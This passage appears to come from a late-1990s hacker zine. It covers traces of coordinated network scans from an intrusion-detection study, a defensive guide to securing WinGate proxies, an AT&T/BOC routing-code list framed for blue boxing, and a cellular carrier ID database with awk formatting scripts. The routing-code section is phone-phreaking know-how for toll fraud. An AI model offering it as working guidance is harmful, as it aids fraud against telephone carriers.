of this on bugtraq: http://www.geek-girl.com/bugtraq/1998_3/0059.html
11:38:11.050712 0:60:83:7b:29:2f 8:0:20:87:60:68 0800 590: PROBER.30974 > MAILHOST.49708: SRP 2029961772:2029962300(528) ack 2029961772 win 49708 urg 49708 <[bad opt]> (DF)
What is the "[bad opt]"?
4500 0240 cb80 4000 ef06 5871 0000 0000
ffff ffff 78fe c22c 78fe c22c 78fe c22c
78fe c22c 78fe c22c 78fe c22c 78fe c22c
78fe c22c 78fe c22c 78fe c22c 78fe c22c
78fe c22c 78fe c22c 78fe c22c 78fe c22c
78fe
The ffff ffff in the second line masks the destination address (MAILHOST).
The third octet of line two is where IP options would be located. The first
eight bits "78" are 011 11000 in binary which translates to: Option class 3 -
Reserved for future use, and Option Number 24 - an Illegal value. Since the
number in the IP options matches a recurring pattern in the remainder of the
TCP packet, it is obviously a badly malformed packet.
===============================
EXAMPLE 5 Simultaneous DNS scans
Here is an excellent example of the stealth of these type of scans. In
this case the goal appears to be to locate DNS servers within various
target subnets. We see two sources running identical scans (probably the
same tool) from vastly different IP addresses (the IP addresses appear
to be on two different continents) but running them against the same
target networks at the same time.
06:12:33.282195 SourceA.10053 > TargetNetA.34.1.domain: S 992750649:992750649(0) win 242
06:34:18.663344 SourceA.10053 > TargetNetA.35.1.domain: S 3455530061:3455530061(0) win 242
06:56:04.045981 SourceA.10053 > TargetNetA.36.1.domain: S 1895963699:1895963699(0) win 242
07:17:49.443476 SourceA.10053 > TargetNetA.37.1.domain: S 2485794595:2485794595(0) win 242
07:39:34.811723 SourceA.10053 > TargetNetA.38.1.domain: S 3785701160:3785701160(0) win 242
08:01:20.227869 SourceA.10053 > TargetNetA.39.1.domain: S 1471781129:1471781129(0) win 242
08:23:05.643730 SourceA.10053 > TargetNetA.40.1.domain: S 4110489384:4110489384(0) win 242
08:44:50.962887 SourceA.10053 > TargetNetA.41.1.domain: S 1486592867:1486592867(0) win 242
06:10:56.527024 SourceA.10053 > TargetNetB.34.1.domain: S 1935318310:1935318310(0) win 242
06:32:42.146384 SourceA.10053 > TargetNetB.35.1.domain: S 552822870:552822870(0) win 242
06:54:27.317188 SourceA.10053 > TargetNetB.36.1.domain: S 944974642:944974642(0) win 242
07:16:12.731522 SourceA.10053 > TargetNetB.37.1.domain: S 3045099303:3045099303(0) win 242
07:37:58.160387 SourceA.10053 > TargetNetB.38.1.domain: S 323776127:323776127(0) win 242
07:59:43.537424 SourceA.10053 > TargetNetB.39.1.domain: S 1212319841:1212319841(0) win 242
08:21:28.992543 SourceA.10053 > TargetNetB.40.1.domain: S 87682610:87682610(0) win 242
08:43:14.379838 SourceA.10053 > TargetNetB.41.1.domain: S 1460815479:1460815479(0) win 242
06:21:38.677266 SourceA.10053 > TargetNetC.35.1.domain: S 771480424:771480424(0) win 242
06:43:24.079835 SourceA.10053 > TargetNetC.36.1.domain: S 1357786460:1357786460(0) win 242
08:10:25.907162 SourceA.10053 > TargetNetC.40.1.domain: S 292016656:292016656(0) win 242
08:32:11.129991 SourceA.10053 > TargetNetC.41.1.domain: S 2826350638:2826350638(0) win 242
06:00:06.556853 SourceB.10053 > TargetNetA.16.1.domain: S 1738779185:1738779185(0) win 242
06:00:11.681430 SourceB.10053 > TargetNetA.17.1.domain: S 2597129298:2597129298(0) win 242
06:00:16.796096 SourceB.10053 > TargetNetA.18.1.domain: S 3216686157:3216686157(0) win 242
06:00:21.918547 SourceB.10053 > TargetNetA.19.1.domain: S 4121612834:4121612834(0) win 242
06:00:27.038290 SourceB.10053 > TargetNetA.20.1.domain: S 1501341045:1501341045(0) win 242
06:00:32.158748 SourceB.10053 > TargetNetA.21.1.domain: S 134807152:134807152(0) win 242
06:00:37.291499 SourceB.10053 > TargetNetA.22.1.domain: S 2224429686:2224429686(0) win 242
06:00:42.395105 SourceB.10053 > TargetNetA.23.1.domain: S 1480631621:1480631621(0) win 242
06:00:47.542147 SourceB.10053 > TargetNetA.24.1.domain: S 4111668847:4111668847(0) win 242
06:00:52.634943 SourceB.10053 > TargetNetA.25.1.domain: S 2034911826:2034911826(0) win 242
06:00:57.761173 SourceB.10053 > TargetNetA.26.1.domain: S 2622853216:2622853216(0) win 242
06:01:02.876331 SourceB.10053 > TargetNetA.27.1.domain: S 3504466453:3504466453(0) win 242
06:01:07.992931 SourceB.10053 > TargetNetA.28.1.domain: S 3453873749:3453873749(0) win 242
06:01:13.126171 SourceB.10053 > TargetNetA.29.1.domain: S 3984740181:3984740181(0) win 242
06:01:18.237385 SourceB.10053 > TargetNetA.30.1.domain: S 1101968762:1101968762(0) win 242
06:01:23.354751 SourceB.10053 > TargetNetA.31.1.domain: S 3145478250:3145478250(0) win 242
06:01:28.481710 SourceB.10053 > TargetNetA.32.1.domain: S 3742923526:3742923526(0) win 242
06:01:33.601717 SourceB.10053 > TargetNetA.33.1.domain: S 685017136:685017136(0) win 242
06:01:38.711348 SourceB.10053 > TargetNetA.34.1.domain: S 357520157:357520157(0) win 242
06:01:43.831041 SourceB.10053 > TargetNetA.35.1.domain: S 3114347597:3114347597(0) win 242
06:01:48.950822 SourceB.10053 > TargetNetA.36.1.domain: S 3989749054:3989749054(0) win 242
06:01:54.071207 SourceB.10053 > TargetNetA.37.1.domain: S 104626974:104626974(0) win 242
06:01:59.190766 SourceB.10053 > TargetNetA.38.1.domain: S 3121137008:3121137008(0) win 242
06:49:55.793053 SourceB.10053 > TargetNetB.0.1.domain: S 3172885021:3172885021(0) win 242
06:50:00.433858 SourceB.10053 > TargetNetB.1.1.domain: S 4008039718:4008039718(0) win 242
06:50:05.578539 SourceB.10053 > TargetNetB.2.1.domain: S 3133502723:3133502723(0) win 242
06:06:19.492397 SourceB.10053 > TargetNetC.158.1.domain: S 3057098328:3057098328(0) win 242
06:15:35.877587 SourceB.10053 > TargetNetC.160.1.domain: S 3057098328:3057098328(0) win 242
06:24:56.256924 SourceB.10053 > TargetNetC.162.1.domain: S 3057098328:3057098328(0) win 242
06:34:20.474591 SourceB.10053 > TargetNetC.164.1.domain: S 3057098328:3057098328(0) win 242
06:39:00.552359 SourceB.10053 > TargetNetC.165.1.domain: S 3057098328:3057098328(0) win 242
NOTE: This particular scan continued for two or three days at a very low
hourly rate (except for the unusually high rate SourceB used against
TargetNetA early on, although this could have been an attempt to mask
SourceA's scan, or just a misconfiguration). Only a fraction of the data
is shown here to give a feel for the type of coordinated signature we
are detecting. Both SourceA and SourceB started the scans within
minutes of each other, and ended their scans within hours of each other.
===============================
CONCLUSION:
The examples shown above represent a change in the kinds of attacks and
probes we track. Previously it has been common for a single attacker to
target multiple sites. Now we see indications of multiple attackers
working together to target either single sites or multiple sites. We
assert that these techniques are starting to be widely used and that the
attacker community is likely to continue using these new techniques for
the forseeable future. It is imperative that intrusion detection tools,
techniques, and tracking databases be developed or modified to detect
and respond to this new threat.
---------------------------------------------------------------------------
Securing your Winate Installation----------[enema]
Internet security and WinGate
There has been increasing amounts of press and publicity concerning
unauthorized use of proxy/firewalls to perform illicit activities which may be
attributable to a firewall user. A number of these instances have involved the
use of WinGate. This page is an information source to tell users of the issues,
and how they can defend themselves against abuse of their systems.
Why should I do anything?
There are unfortunately people out there who spend a great deal of time
looking for a way to bypass security measures used increasingly by ISPs to
thwart spammers - people who send large volumes of unsolicited mail to large
numbers of email addresses. One way to bypass ISP security for sending mail
is to appear to be a valid ISP client. This can be done through proxy software
such as WinGate, if it is not securely configured.
So. In general, in order to stop people doing things that may be attributed to
you, which could result in things like you getting your account shut down, you
should ensure that your proxy server installation is secure from unauthorized
use.
How do I do it?
There are a number of methods of securing WinGate, which should not take
you longer than a couple of minutes to implement.
There are two main ways to secure access.
1.Logically, by rule. This involves setting up rules as to who may or may
not do certain things in the wingate.
2.Physically. By binding a service to a specific interface (see below), that
service is simply not available from any other interface, so by binding a
service to your LAN adapter, you can easily block all access from the
Internet.
You may also choose a mixture of these two methods, depending on your
requirements for access. Here are some examples of some typical ways of
securing your access.
Example: A small LAN using WinGate Lite or free version for
net access. Not running any servers that need to be accessed
from the internet.
This is by far the most common scenario.
Option 1
If all the services are using the default security arrangement as installed, then
perform the following steps.
1.Open GateKeeper and log into WinGate as Administrator.
2.Double click on Policies, and double click on "Default Policies"
3.Select the right "Users can access services"
4.There will be one recipient there - "Everyone". Double click on this
recipient.
5.Select the Location tab.
6.Select "Specify locations from where this recipient has rights"
7.Add the following IP addresses under Included locations: 127.0.0.1,
and the first three numbers of your WinGate machine's network card
followed by a .* - for example if your network card has IP address
192.168.0.1, then you would add 192.168.0.*. If you have more than
one network card in the WinGate machine then add an entry for each
one that will be requiring access to WinGate.
8.Hit OK, and remember to save changes.
Now only your LAN users can access any service in WinGate. If some of your
services are using their own rules rather than the global ones, you can perform
this action for each recipient in those service-specific rules.
Alternative method using option 2.
Because the Lite version of WinGate cannot bind a service to more than one
interface (WinGate 2.1 Pro can do it), in order to use option 2, of binding
services, then you need to create a separate service for each interface you
need to bind to. Minimum is 2 - the localhost interface, which is used for your
second free user license, and the interface of your WinGate machine LAN
card. For each LAN card in your machine you need to create another service
and bind it to that LAN card IP address.
To bind a service to an interface do the following:
1.Open GateKeeper and log into WinGate as Administrator.
2.Double click on "Services" in the right hand pane.
3.Double click on the service you want to modify.
4.The "General" tab you see in front of you has an option on it - "Bind to
specific interface" - enable this option, and type in the address of the
interface you are binding to. The interface address is the IP address of a
LAN card in your WinGate machine, or 127.0.0.1 for the free user
(localhost).
Note - You cannot change the binding in the Remote Control Service in
WinGate Lite.
What if I am running a server behind WinGate that requires
public access?
We recommend that you do not run Telnet or SOCKS servers with public
access. If you do, you will want to restrict what requests the server will
perform. You could require users of these services to be authenticated if they
connect from the internet. This will ensure no unauthorized use. Otherwise you
can specify where a user can connect to, or at what times.
For WWW, if say you are running a WWW server behind WinGate, you can
stipulate that internet users can only connect to your internal WWW server,
and internal users can connect out.
General techniques and hints.
This first question is "Do I really need to allow access to this service from the
Internet, and Why?". Basically the reasons to require access from the internet
are relatively few.
1.You may be running mail, WWW or other servers on your LAN that
require access from the internet.
2.You may require field staff to telnet into your Unix server from the field.
3.You may have a requirement for some secure inter-office
communication.
If none of these apply, you need to seriously question why you would allow
access from the internet to a service.
There are ways and means to specify different access rights depending on
where a user accesses WinGate from. You can either create duplicate services
bound to the different interfaces with different policies per service, or you can
do it with a single service, with location based policies.
E.g. POP3 service using service specific rules. Create two recipients called
everyone - the first one is restricted by location, and must connect from your
LAN. The second can connect from anywhere, but is restricted by request -
say only allow connections to certain servers or ports.
More help is at hand.
The help documentation that comes with WinGate has more information on
security, and you can always find help in the users forum and the support list.
---------------------------------------------------------------------------
[foneman]----AT&T/BOC ROUTING CODES
The following is a list of routing codes used by AT&T and Bell
Operating Companies (BOC) that you can blue box to. Most codes are
used by dialing KP+NPA+XXX+ST where XXX= the code, except where noted.
There are notes attached after this list.
000 - The Rate Quote System (RQS) (1)
001 - 005 Spare (2)
006 - 008 Reserved (3)
009 RQS
010 Reserved
011 International Origination Toll Center (IOTC) (15)
014 TWX Switching Plan (Canada) (?)
015 - 071 Spare
072 - 079 Reserved
080 - 081 Spare
082 - 087 Reserved
088 Spare
089 Reserved
090 - 099 Spare
100 Plant Test - balance termination
101 Plant Test - test board
102 Plant Test - Milliwatt tone (1004 Hz)
103 Plant Test - signaling test termination
104 Plant Test - 2-way transmission and noise test
105 Plant Test - Automatic Transmission Measuring System /
Remote Office Test Line (ROTL)
106 Plant Test - CCSA loop transmission test
107 Plant Test - par meter generator
108 Plant Test - CCSA loop echo support maintenance
109 Plant Test - echo canceler test line
110 - 119 Operator Codes
115 Operator Leave Word
116 Inward DA
120 Network Emergency Center (?)
121 Inward Operator (9)
122 AT&T Ready line INWATS (4)
123 - 130 Reserved
131 Directory Assistance
132 - 137 Reserved
138 IDDD for Equal Access (7)
139 - 140 Reserved
141 Rate and Route (10)
142 -147 Reserved
148 points not on an NPA - Hermosillo, Mexico (5)
149 Reserved
150 Cable Control (Satellite Avoidance) - Hawaii (5)
151 International Assistance
152 - 157 Reserved
158 Operator Assistance for Equal Access (7)
160 International Operator Center (IOC) (6)
161 Trunk Trouble Reporting
162 - 167 Reserved
168 points not on an NPA - Grenada
169 - 170 Reserved
171 points not on an NPA - Monterey, Mexico
172 points not on an NPA - Dominican Republic, Puerto Rico,
Virgin Islands (Canada only)
173 Reserved
174 Cable Control (Satellite Avoidance) Caribbean
175 Reserved
176 points not on an NPA - Mexicali, Mexico
177 - 178 Reserved
179 points not on an NPA - Grenada
180 points not on an NPA - Mexico Numbers
181 Toll Station
182 International Switching Center (ISC) White Plains, 5 (14)
183 ISC New York, BW24
184 ISC Pittsburgh
185 ISC Atlanta OLT
186 ISC Sacramento
187 ISC Denver/Sherman Oaks (?) (15)
188 ISC New York, 5450
189 points not on an NPA - Mexico City, Mexico
190 points not on an NPA - Mexico Numbers
191 Conference loop around
191 AT&T Advanced 800 intercept recording frames (4)
192 Reserved
193 Cable Control (Satellite Avoidance) - Grenada
194 points not on an NPA - Tijuana, Mexico
195 AT&T Advanced 800 (4)
196 AT&T International 800 (4)
197 Reserved
198 AT&T International City Service Center (ICSC)
199 Cable Control (Satellite Avoidance) - Alaska
199 AT&T USA Direct (4)
4 or 5 digit codes (8)
1150,11501 Universal or Coin Callback
1151,11511 Conference Operator (11)
1152,11521 Mobile Service / Air-Ground
1153,11531 Marine Service (12)
1154,11541 Toll Terminal
1155,11551 Time and Charges callback
1156,11561 Hotel / Motel callback
1157,11571 IOTC access trunk
1158,11581 Inward- completion assistance (BOC)
1159,11591 Inward- busy line verification (BOC)
1160,11601 Calling Card Validation - dial pulse equipment (13)
1161,11611 Calling Card Validation - DTMF equipment
1162,11621 Calling Card Validation - MF equipment
Notes:
(1) The Rate Quote System is a voice response system used by operators
to obtain routing information. The system, now being phased out, was
used as an alternative to calling the Rate and Route operator.
Operators would key-in required routing information and a synthesized
voice would respond. Though the RQS is still operational, operators
now obtain routing information from COMPIS (See note 10).
KP+DD+ONPA+NXX+TNPA+NXX+ST to get the "rate step" for:
DD = 00 Now
DD = 01 Day Call (08:00-17:00)
DD = 02 Evening Call (17:00-23:00)
DD = 03 Night Call (23:00-08:00)
KP+04+? Something with Mexico, unclear.
KP+05+NPA+NXX+ST Gives the routing for a BOC inward (See note 9)
KP+06+NPA+NXX+ST gives the routing for for an AT&T inward operator
(See note 9)
KP+07+XXXXXXX+ST Reads back the numbers you just typed
KP+08+? Something with Enterprise and Zenith numbers, unclear.
KP+09+NPA+NXX+ST Gives you the current time for the area and exchange
just dialed.
(2) When a code is marked spare, that means that there is no current
or planned networkwide usage. It still may be utilized as a
non-standard POTS exchange for WATS service by local companies.
(3) When a code is marked reserved, it means that there may be planned
networkwide usage.
(4) This code is used by an AT&T custom service. It may be thought of
as acting like a special area code and takes the following dialing
format: KP+XXX+YYY+YYYY+ST where XXX is the code in question and Y can
be any number 0-9.
(5) All "points not on an NPA" and "Cable Control" function as pseudo
area codes and are followed by a telephone number.
(6) Calls to the IOC are dialled as follows: KP+160+CCC+ST CCC=Country
Code (i.e. 044 or 144 for the UK).
(7) These are special codes used with Equal Access. They are as
follows:
KP+138+PIC+ST then KP+CC+cc+xxxxx+ST
KP+158+PIC+ST
---------------------------------------------------------------------------
Cellular Carrier Codes----------[Herber]
One listing was in alphabetical order by city name. The other
listing was in numerical order by SID major and BID minor.
I expect that there are errors in this data. I detected and corrected several
typographical errors in my data entry and discovered several mismatches between
the two listings. Please, send corrections and expansions to me by e-mail.
The columns of this plain text database are separated by colon (:) characters.
The columns are, from left to right:
1: the SID, system Identification number,
(Note: odd numbers are "A" or non-wireline carriers; and,
even numbers are "B" or wireline carriers.)
2: the BID, the billing identification number, or = if same as the SID,
3: a City in the area of the service (multiple cities may be listed),
4: the Postal Code for the State or Province of the City in column 3,
(Note: BH was used for Bahamas.)
5: the telephone company name,
6: a customer service number for the area indicated by columns 3 and 4,
7: the clearing house that handles roamers' billing records.
The data was presented in this form to reduce the size of the database for
transmission. You may want to use the enclosed scripts and awk programs to
format the database for easier viewing.
Randolph J. Herber,
@ home: {att|mcdchg|laidbak|obdient|uunet!tellab5|wheaton}!yclept!rjh,
rjh@yclept.chi.il.us
-------------------- Cut Here ----------------------
#!/bin/sh
cat - <<\!EOF! >SIDS.sh
#!/bin/sh
# 1-SID:2-BID:3-City:4-State:5-Company:6-Service#:7-ClearingHouse
cut -d: -f1,2,5,7 SIDS | \
sort -u -t: +2 -4 +0n -1 +1n -2 >SIDS.co.tmp
awk -F: -f SIDS.f1.awk SIDS.co.tmp >SIDS.co.alf
sort -t: +0n -1 +1n -2 +2 -4 SIDS.co.tmp | \
awk -F: -f SIDS.f1.awk >SIDS.co.num
rm SIDS.co.tmp
cut -d: -f1,2,3,4,5,6 SIDS | \
sort -u -t: +2 -4 +0n -1 +1n -2 | \
awk -F: -f SIDS.f2.awk >SIDS.city.alf
cut -d: -f1,2,3,4,5,6 SIDS | \
sort -u -t: +3 -4 +2 -3 +0n -1 +1n -2 | \
awk -F: -f SIDS.f2.awk >SIDS.st.alf
!EOF!
cat - <<\!EOF! >SIDS.f1.awk
{printf("%5.5s|%5.5s|%-26.26s|%s\n",$1,$2,$3,$4);}
!EOF!
cat - <<\!EOF! >SIDS.f2.awk
{printf("%5.5s|%5.5s|%-18.18s|%2.2s|%-26.26s|%s\n",$1,$2,$3,$4,$5,$6);}
!EOF!
cat - <<\!EOF! >SIDS
1:=:Chicago:IL:Cellular One:800 235 5663:GTEDS
2:=:Los Angles:CA:Pactel Cellular:714 553 6100:GTEDS
2:=:Palm Springs:CA:Pactel Cellular:714 553 6100:GTEDS
3:=:Buffalo:NY:Buffalo Telephone Company:716 854 5076:BANK/IL
4:=:San Diego:CA:Pactel Cellular:619 535 6464:GTEDS
5:=:Milwaukee:WI:Cellular One:414 783 5500:APPEX
6:=:Seattle:WA:US West Cellular:800 626 6611:GTEDS
6:=:Tacoma:WA:US West Cellular:800 626 6611:GTEDS
7:=:Boston:MA:Cellular One:617 890 1555:(Boston)
8:=:Allentown:PA:Bell Atlantic Mobile:800 922 0204:GTEDS
8:=:Philadelphia:PA:Bell Atlantic Mobile:800 953 2200:GTEDS
8:=:Reading:PA:Bell Atlantic Mobile:800 922 0204:GTEDS
8:=:Trenton:NJ:Bell Atlantic Mobile:800 922 0204:GTEDS
8:=:Wilmington:DE:Bell Atlantic Mobile:800 922 0204:GTEDS
12:=:Beaumont:TX:GTE Mobile:800 347 5665:GTEDS
12:=:Bryan:TX:GTE Mobile:800 347 5665:GTEDS
12:=:College Station:TX:GTE Mobile:800 347 5665:GTEDS
12:=:Galveston:TX:GTE Mobile:800 347 5665:GTEDS
12:=:Houston:TX:GTE Mobile:800 347 5665:GTEDS
12:=:Port Arthur:TX:GTE Mobile:800 347 5665:GTEDS
13:=:Baltimore:MD:Cellular One:301 220 0060:(Baltimore)
13:=:Washington:DC:Cellular One:301 220 0060:(Baltimore)
15:=:Cleveland:OH:Cellular One:216 351 1414:Commonwealth
15:=:Elyria:OH:Cellular One:216 351 1414:Commonwealth
15:=:Lorain:OH:Cellular One:216 351 1414:Commonwealth
17:=:St. Louis:MO:Cybertel Cellular:314 423 6500:GTEDS
18:=:Alexandria:VA:Bell Atlantic Mobile:800 922 0204:GTEDS
18:=:Baltimore:MD:Bell Atlantic Mobile:800 922 0204:GTEDS
18:30016:Frederick:MD:Bell Atlantic Mobile::GTEDS
18:=:Silver Spring:MD:Bell Atlantic Mobile:800 922 0204:GTEDS
18:=:Washington:DC:Bell Atlantic Mobile:800 922 0204:GTEDS
19:=:Indianapolis:IN:Cellular One:317 252 5367:CBIS
20:=:Chicago:IL:Ameritech Mobile:800 221 0994:GTEDS
21:=:Detroit:MI:Cellular One:313 737 5123:APPEX
21:=:Flint:MI:Cellular One:313 239 6661:APPEX
21:=:Grand Rapids:MI:Cellular One:616 451 3523:APPEX
21:=:Lansing:MI:Cellular One:517 323 9462:APPEX
21:=:Lima:OH:Cellular One:419 234 1091:APPEX
21:=:Muskegon:WI:Cellular One:517 323 9492:APPEX
21:=:Saginaw:MI:Cellular One:517 323 9462:APPEX
21:=:Toledo:OH:Cellular One:419 243 1091:APPEX
22:=:Brooklyn:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:Congers:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:Freehold:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Hackensack:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Madison:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Morristown:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Nassau County:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:New Brunswick:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Newark:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Paterson:NJ:Nynex Mobile Com:800 227 1069:Nynex
22:=:Pleasantville:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:Rahway:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:Suffolk County:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:White Plains:NY:Nynex Mobile Com:800 227 1069:Nynex
22:=:World Trade Center:NY:Nynex Mobile Com:800 227 1069:Nynex
23:=:Minneapolis:MN:Cellular One:612 867 2273:APPEX
24:=:Maimi:FL:Bell South Mobile:800 351 2400:GTEDS
24:=:West Palm Beach:FL:Bell South Mobile:305 577 4975:GTEDS
25:=:New York:NY:Metro One:201 587 8000:APPEX
26:=:Minneapolis:MN:US West Cellular:800 626 6611:GTEDS
27:=:Los Angles:CA:LA Cellular Telephone Co.:213 721 8722:APPEX
27:=:Oxnard:CA:Cellular One:805 987 0955:APPEX
28:=:Auburn:MA:Nynex Mobile Com::Nynex
28:=:Boston:MA:Nynex Mobile Com::Nynex
28:=:Brockton:MA:Nynex Mobile Com::Nynex
28:=:Framington:MA:Nynex Mobile Com::Nynex
28:=:Lawrence:MA:Nynex Mobile Com::Nynex
28:=:Lowell:MA:Nynex Mobile Com::Nynex
28:=:Lynn:MA:Nynex Mobile Com::Nynex
28:=:New Bedford:MA:Nynex Mobile Com::Nynex
28:=:Providence:RI:Nynex Mobile Com::Nynex
28:=:Worchester:MA:Nynex Mobile Com::Nynex
29:=:Philadelphia:PA:Metrophone:800 327 9666:APPEX
30:=:Portland:OR:GTE Mobile:800 366 5665:GTEDS
30:=:Salem:OR:GTE Mobile:800 366 5665:GTEDS
31:30015:Napa:CA:Cellular One:800 331 4322:APPEX
31:30017:Santa Cruz:CA:Cellular One:415 344 1999:GTEDS
31:=:Oakland:CA:Cellular One:415 344 1999:APPEX
31:=:San Francisco:CA:Cellular One:415 344 1999:GTEDS
31:=:San Jose:CA:Cellular One:415 344 1999:GTEDS
31:=:San Rosa:CA:Cellular One:800 331 4322:GTEDS
31:=:Vallejo:CA:Cellular One:800 331 4322:GTEDS
32:=:Pittsburgh:PA:Bell Atlantic Mobile:800 922 0204:GTEDS
32:30020:Altoona:PA:Bell Atlantic Mobile:814 944 3011:GTEDS
32:30022:Charleston:WV:Bell Atlantic Mobile:304 925 4000:GTEDS
32:30024:Huntington:WV:Bell Atlantic Mobile:304 525 4101:GTEDS
32:30026:Johnstown:PA:Bell Atlantic Mobile:814 467 5521:GTEDS
32:30030:Parkesburg:PA:Bell Atlantic Mobile:800 922 0204:GTEDS
32:30034:State College:PA:Bell Atlantic Mobile:814 231 3900:GTEDS
32:30032:Steubenville:OH:Bell Atlantic Mobile:614 282 6202:GTEDS
32:30032:Weirton:WV:Bell Atlantic Mobile:614 282 6202:GTEDS
32:30028:Wheeling:WV:Bell Atlantic Mobile:614 695 9611:GTEDS
33:=:Dallas:TX:Metrocell Cellular:214 263 4921:APPEX
33:=:Ft. Worth:TX:Metrocell Cellular:214 263 4921:APPEX
33:=:Denton:TX:Metrocell Cellular:214 263 4921:APPEX
34:=:Athens:GA:Bell South Mobile:800 351 2400:GTEDS
34:=:Atlanta:GA:Bell South Mobile:800 351 2400:GTEDS
35:=:Houston:TX:Houston Cellular Telephone:713 688 8020:APPEX
36:=:New Orleans:LA:Bell South Mobile:800 351 2400:GTEDS
37:=:Ft. Lauderdale:FL:McCaw Cellular:407 655 1948:APPEX
37:=:Maimi:FL:Cellular One:305 792 2355:APPEX
37:=:Stuart:FL:Cellular One:407 833 1111:APPEX
37:=:West Palm Beach:FL:Cellular One:407 833 1111:APPEX
38:=:Ft. Worth:TX:Southwestern Bell Mobile:800 331 0500:GTEDS
38:=:Dallas:TX:Southwestern Bell Mobile:800 331 0500:GTEDS
38:=:Denison:TX:Southwestern Bell Mobile:800 331 0500:GTEDS
38:=:Sherman:TX:Southwestern Bell Mobile:800 331 0500:GTEDS
39:=:Johnstown:PA:Cellular One:814 242 0100:APPEX
39:=:Pittsburgh:PA:Cellular One:412 471 3922:APPEX
39:30059:Wheeling:WV:Cellular One:304 281 0100:APPEX
40:=:Salinas:CA:GTE Mobile:800 366 5665:GTEDS
40:=:San Francisco:CA:GTE Mobile:800 366 5665:GTEDS
40:=:San Jose:CA:GTE Mobile:800 366 5665:GTEDS
40:=:San Rosa:CA:GTE Mobile:800 366 5665:GTEDS
40:30002:Santa Barbara:CA:GTE Mobile:800 366 5665:GTEDS
41:=:Athens:GA:Pactel Cellular:404 449 3900:GTEDS
41:=:Atlanta:GA:Pactel Cellular:404 449 3900:GTEDS
42:=:Brandenton:FL:GTE Mobile:813 221 1662:GTEDS
42:=:Ft. Meyers:FL:GTE Mobile:800 877 5665:GTEDS
42:=:Lakeland:FL:GTE Mobile:800 877 5665:GTEDS
42:=:Sarasota:FL:GTE Mobile:800 877 5665:GTEDS
42:=:Tampa:FL:GTE Mobile:800 877 5665:GTEDS
42:=:Venice:FL:GTE Mobile:800 877 5665:GTEDS
42:=:Winter Haven:FL:GTE Mobile:800 877 5665:GTEDS
43:=:San Diego:CA:US West Cellular:800 626 6611:GTEDS
45:=:Colorado Springs:CO:Cellular One:303 831 1200:APPEX
45:=:Denver:CO:Cellular One:303 831 1200:APPEX
45:=:Ft. Collins:CO:Cellular One:303 831 1200:APPEX
45:=:Greely:CO:Cellular One:303 831 1200:APPEX
46:=:St. Louis:MO:Southwestern Bell Mobile:314 542 9999:GTEDS
47:=:Bellingham:WA:Cellular One:206 285 2273:APPEX
47:=:Bremerton:WA:Cellular One:206 285 2273:APPEX
47:=:Olympia:WA:Cellular One:206 285 2273:APPEX
47:=:Seattle:WA:Cellular One:206 285 2273:APPEX
47:=:Tacoma:WA:Cellular One:206 285 2273:APPEX
48:=:Phoenix:AZ:US West Cellular:800 626 6611:GTEDS
51:=:Cincinnati:OH:Cellular One:513 733 5515:Commonwealth
51:=:Hamilton:OH:Cellular One:513 733 5515:Commonwealth
52:=:Kansas City:KS:Southwestern Bell Mobile:913 894 1600:GTEDS
52:=:Kansas City:MO:Southwestern Bell Mobile:913 894 1600:GTEDS
52:=:Lawrence:KS:Southwestern Bell Mobile:913 894 1600:GTEDS
52:=:St. Joseph:MO:Southwestern Bell Mobile:913 894 1600:GTEDS
52:=:Topeka:KS:Southwestern Bell Mobile:913 894 1600:GTEDS
53:=:Phoenix:AZ:Metro Mobile:602 731 6000:APPEX
53:30053:Tuscon:AZ:Metro Mobile:602 628 9541:APPEX
54:=:Akron:OH:GTE Mobile:800 669 5665:GTEDS
54:=:Canton:OH:GTE Mobile:800 669 5665:GTEDS
54:=:Cleveland:OH:GTE Mobile:800 669 5665:GTEDS
54:=:Elyria:OH:GTE Mobile:800 669 5665:GTEDS
54:=:Erie:PA:GTE Mobile:800 669 5665:GTEDS
54:=:Lorain:OH:GTE Mobile:800 669 5665:GTEDS
56:=:Buffalo:NY:Nynex Mobile Com::Nynex
57:=:New Orleans:LA:Cellular One:504 830 5400:GTEDS
58:=:Denver:CO:US West Cellular:800 626 6611:GTEDS
59:30057:Kansas City:KS:Cellular One:913 432 3141:APPEX
59:30057:Kansas City:MO:Cellular One:913 432 3141:APPEX
59:=:Lawrence:KS:Cellular One:913 842 0577:APPEX
59:=:Topeka:KS:Cellular One:913 234 4984:APPEX
60:=:Honolulu:HI:GTE Mobile:808 941 9934:GTEDS
61:=:Eugene:OR:Cellular One:503 345 1818:APPEX
61:=:Medford:OR:Cellular One:503 944 5555:APPEX
61:=:Portland:OR:Cellular One:503 228 1717:APPEX
61:=:Salem:OR:Cellular One:503 364 3335:APPEX
62:=:Memphis:TN:Bell South Mobile:800 351 2400:GTEDS
63:=:Albany:NY:Cellular One:518 465 7300:BANK/IL
64:=:Las Vegas:NV:Centel Cellular:702 365 6500:GTEDS
65:=:Louisville:KY:Cellular One:502 582 2355:APPEX
68:=:Orlando:FL:Bell South Mobile:305 577 4975:GTEDS
69:=:Durham:NC:Cellular One:919 481 1181:GTEDS
69:=:Raleigh:NC:Cellular One:919 481 1181:GTEDS
70:=:Wichita:KS:Southwestern Bell Mobile:316 687 2355:GTEDS
71:=:Richmond:VA:Cellular One:804 288 3805:GTEDS
73:=:Akron:OH:Cellular One:216 867 3900:Commonwealth
73:=:Canton:OH:Cellular One:216 867 3900:Commonwealth
74:=:Bristol:TX:Centel Cellular::GTEDS
74:=:Johnson City:TN:Centel Cellular::GTEDS
74:=:Kingsport:TN:Centel Cellular::GTEDS
75:=:Jacksonville:FL:Cellular One:904 731 2355:APPEX
76:=:Louisville:KY:Bell South Mobile:800 351 2400:GTEDS
77:=:Syracuse:NY:Cellular One:315 446 0400:Cell-T
78:=:Albany:NY:Nynex Mobile Com::Nynex
79:=:Albuquerque:NM:Metro Mobile:505 266 9000:APPEX
80:=:Anderson:IN:GTE Mobile:800 669 3001:GTEDS
80:=:Bloomington:IN:GTE Mobile:800 669 3001:GTEDS
